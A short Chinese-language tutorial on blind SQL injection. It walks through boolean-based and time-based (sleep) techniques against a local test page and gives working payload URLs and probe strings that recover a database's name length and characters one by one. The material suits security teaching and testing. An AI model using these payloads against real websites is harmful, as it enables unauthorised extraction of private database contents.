注入常用到的几个函数
mid(str,1,3) 字符串获取
ORD() 转换为ASCII码
我们看到这里把a转换成了97 我们去看对照表
Length() 统计字节长度
version() 查看数据库版本
database() 查看数据库
user()查看当前用户
首先我们确定注入了验证要先获取数据库长度
’or length(database())
我们先看一下数据库中sqltest长度【其实就是7个】
小知识点:有数据用and 没数据用or
https://localhost/test.php?id=1’and length(database()) >1 #
’and length(database()) >1 #:意思是数据库的长度是否大于1
没有变化以此类推
发现变换
这时候我们要确定他到底是多少字节
https://localhost/test.php?id=1' and length(database()) = 8 %23
他等于8吗?不等于
他等于6吗?不等于
他等于7返回正确页面说明他的字节是7
现在我们获取数据库名字:
https://localhost/test.php?id=1' and mid(database(),1,1) ='1'%23
mid(database(),1,1) ='1' :它的意思是从第一个获取每次只取一个 它等于1吗?
很显然不等
然后修改后面的以此类推我们试到
https://localhost/test.php?id=1' and mid(database(),1,1) ='s'%23
返回true的正确页面
如果我们想获取第二位第三位怎么办?
mid(database(),2,1)
mid(database(),3,1)
mid(database(),4,1)
mid(database(),5,1)
mid(database(),6,1)
mid(database(),7,1)
https://localhost/test.php?id=1' and mid(database(),2,1) ='q'%23
剩下的我就不一一获取了学习这样方式就明白了。
延时注入方法:
常用的判断语句:
' and if(1=0,1, sleep(10)) --+
" and if(1=0,1, sleep(10)) --+
) and if(1=0,1, sleep(10)) --+
') and if(1=0,1, sleep(10)) --+
") and if(1=0,1, sleep(10)) --+
为什么我和布尔注入写在一个文章里面哪?因为他们操作的流程是差不多的。
延时了10秒确定存在注入。
获取数据库长度利用上面的知识:'and if(length(database())=9,sleep(10),1)--+
意思是如果数据过长度等于9他就延时10秒
'and if(length(database())<6,sleep(10),1)--+
如果一开始不知道他长度可以用这个大致判断的长度然后用上面的等于确定
长度小于6吗?没有延迟不小于6
小于9吗?
延迟成功表名数据库小于9 也就是说数据库长度在6-9之间
'and if(length(database())=7,sleep(10),1)--+
一 一测试我们确定长度是7
获取数据库名字:
https://localhost/test.php?id=1' and if(mid(database(),1,1) ='s',sleep(10),1)--+